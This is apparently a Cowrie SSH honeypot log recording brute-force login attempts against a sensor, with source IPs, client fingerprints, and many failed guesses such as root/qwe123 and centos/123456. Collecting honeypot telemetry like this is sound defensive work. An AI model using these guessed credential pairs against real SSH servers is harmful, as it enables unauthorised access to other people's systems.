{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":59449,"dst_ip":"10.17.0.5","dst_port":22,"session":"723509b9cf72","protocol":"ssh","message":"New connection: 2.57.121.112:59449 (10.17.0.5:22) [session: 723509b9cf72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:27.754306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:27.759014Z","src_ip":"2.57.121.112","session":"723509b9cf72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:27.860668Z","src_ip":"2.57.121.112","session":"723509b9cf72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:27.895106Z","src_ip":"43.134.24.11","session":"31a3aa7385aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"copy","message":"login attempt [admin/copy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:28.341848Z","src_ip":"2.57.121.112","session":"723509b9cf72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.2.49.125","src_port":43696,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bcb7cd95126","protocol":"ssh","message":"New connection: 117.2.49.125:43696 (159.203.135.109:22) [session: 9bcb7cd95126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:29.114822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:29.119147Z","src_ip":"117.2.49.125","session":"9bcb7cd95126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:29.135163Z","src_ip":"43.134.24.11","session":"31a3aa7385aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:29.378255Z","src_ip":"117.2.49.125","session":"9bcb7cd95126","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cookie59","message":"login attempt [admin/cookie59] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:29.445149Z","src_ip":"2.57.121.112","session":"723509b9cf72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blackout","message":"login attempt [root/blackout] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:30.448609Z","src_ip":"117.2.49.125","session":"9bcb7cd95126","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"convict","message":"login attempt [admin/convict] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:30.552699Z","src_ip":"2.57.121.112","session":"723509b9cf72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"convert","message":"login attempt [admin/convert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:31.655884Z","src_ip":"2.57.121.112","session":"723509b9cf72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:31.712021Z","src_ip":"117.2.49.125","session":"9bcb7cd95126","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":6413,"dst_ip":"10.17.0.5","dst_port":22,"session":"73c5d9829ba9","protocol":"ssh","message":"New connection: 43.134.24.11:6413 (10.17.0.5:22) [session: 73c5d9829ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:32.677771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:32.682250Z","src_ip":"43.134.24.11","session":"73c5d9829ba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"conrail","message":"login attempt [admin/conrail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:32.759648Z","src_ip":"2.57.121.112","session":"723509b9cf72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:32.930527Z","src_ip":"43.134.24.11","session":"73c5d9829ba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:33.670598Z","src_ip":"43.134.24.11","session":"73c5d9829ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:33.862372Z","src_ip":"2.57.121.112","session":"723509b9cf72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:34.955332Z","src_ip":"43.134.24.11","session":"73c5d9829ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":44331,"dst_ip":"10.17.0.5","dst_port":22,"session":"51b10ab800c6","protocol":"ssh","message":"New connection: 43.134.24.11:44331 (10.17.0.5:22) [session: 51b10ab800c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:38.316303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:38.325616Z","src_ip":"43.134.24.11","session":"51b10ab800c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:38.547829Z","src_ip":"43.134.24.11","session":"51b10ab800c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":47268,"dst_ip":"10.17.0.5","dst_port":22,"session":"495cb037d95e","protocol":"ssh","message":"New connection: 103.15.222.183:47268 (10.17.0.5:22) [session: 495cb037d95e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:38.642112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:38.647224Z","src_ip":"103.15.222.183","session":"495cb037d95e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:38.892738Z","src_ip":"103.15.222.183","session":"495cb037d95e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:39.457297Z","src_ip":"43.134.24.11","session":"51b10ab800c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fyutkbyf","message":"login attempt [root/fyutkbyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:39.629019Z","src_ip":"103.15.222.183","session":"495cb037d95e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:40.690198Z","src_ip":"43.134.24.11","session":"51b10ab800c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:40.876568Z","src_ip":"103.15.222.183","session":"495cb037d95e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":23322,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6206135b53d","protocol":"ssh","message":"New connection: 43.134.24.11:23322 (10.17.0.5:22) [session: d6206135b53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:44.153205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:44.157519Z","src_ip":"43.134.24.11","session":"d6206135b53d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:44.396647Z","src_ip":"43.134.24.11","session":"d6206135b53d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:45.115153Z","src_ip":"43.134.24.11","session":"d6206135b53d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:46.357687Z","src_ip":"43.134.24.11","session":"d6206135b53d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":39411,"dst_ip":"10.17.0.5","dst_port":22,"session":"acaf90d4305d","protocol":"ssh","message":"New connection: 43.134.24.11:39411 (10.17.0.5:22) [session: acaf90d4305d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:49.813517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:49.817899Z","src_ip":"43.134.24.11","session":"acaf90d4305d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:50.130514Z","src_ip":"43.134.24.11","session":"acaf90d4305d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:50.869238Z","src_ip":"43.134.24.11","session":"acaf90d4305d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:52.118045Z","src_ip":"43.134.24.11","session":"acaf90d4305d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":27917,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b14706d2e2d","protocol":"ssh","message":"New connection: 43.134.24.11:27917 (10.17.0.5:22) [session: 6b14706d2e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:55.626774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:55.631129Z","src_ip":"43.134.24.11","session":"6b14706d2e2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:55.869948Z","src_ip":"43.134.24.11","session":"6b14706d2e2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:56.587349Z","src_ip":"43.134.24.11","session":"6b14706d2e2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:58:57.832916Z","src_ip":"43.134.24.11","session":"6b14706d2e2d","protocol":"ssh"}
